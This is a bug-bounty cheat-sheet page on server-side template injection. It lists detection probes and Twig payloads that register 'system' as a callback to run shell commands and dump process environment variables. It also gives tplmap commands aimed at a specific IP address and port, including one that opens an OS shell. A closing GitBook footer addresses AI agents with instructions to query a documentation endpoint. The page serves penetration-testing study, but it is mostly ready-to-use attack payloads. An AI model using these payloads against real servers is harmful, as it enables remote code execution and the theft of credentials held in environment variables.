> For the complete documentation index, see [llms.txt](https://notes.programmersecurity.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.programmersecurity.com/bug-bounty/server-side-template-injection-ssti.md).

# Server Side Template Injection (SSTI)

## SSTI Identification

```
{7*7}
${7*7}
#{7*7}
%{7*7}
{{7*7}}
```

## TWIG SSTI

Twig has a variable `_self`, which, in simple terms, makes a few of the internal APIs public. This `_self` object has been documented, so we don't need to brute force any variable names,&#x20;

we can use the `getFilter` function as it allows execution of a user-defined function via the following process:

* Register a function as a filter callback via `registerUndefinedFilterCallback`
* Invoke `_self.env.getFilter()` to execute the function we have just registered

```php
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
```

<figure><img src="/files/9SBQovq1C5TRSwEfuNFU" alt=""><figcaption></figcaption></figure>

to get the environment variables we can use

```shell
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("echo -e `cat /proc/self/environ`")}}
```

## Automating SSTI using tqlmap

we can use **TQLMAP** from the below link

{% embed url="<https://github.com/epinna/tplmap>" %}

```python
python tplmap.py -u 'http://83.136.251.226:56235/jointheteam' -d email=test --proxy=http://127.0.0.1:8080
```

<figure><img src="/files/OEc8zTdl7ALCAH0YExXk" alt=""><figcaption></figcaption></figure>

## OS-Shell Using TPLMAP

```python
python tplmap.py -u 'http://83.136.251.226:56235/jointheteam' -d email=test --proxy=http://127.0.0.1:8080 --os-shell
```

<figure><img src="/files/7diOCqcVwmqkgvC5ArCh" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.programmersecurity.com/bug-bounty/server-side-template-injection-ssti.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
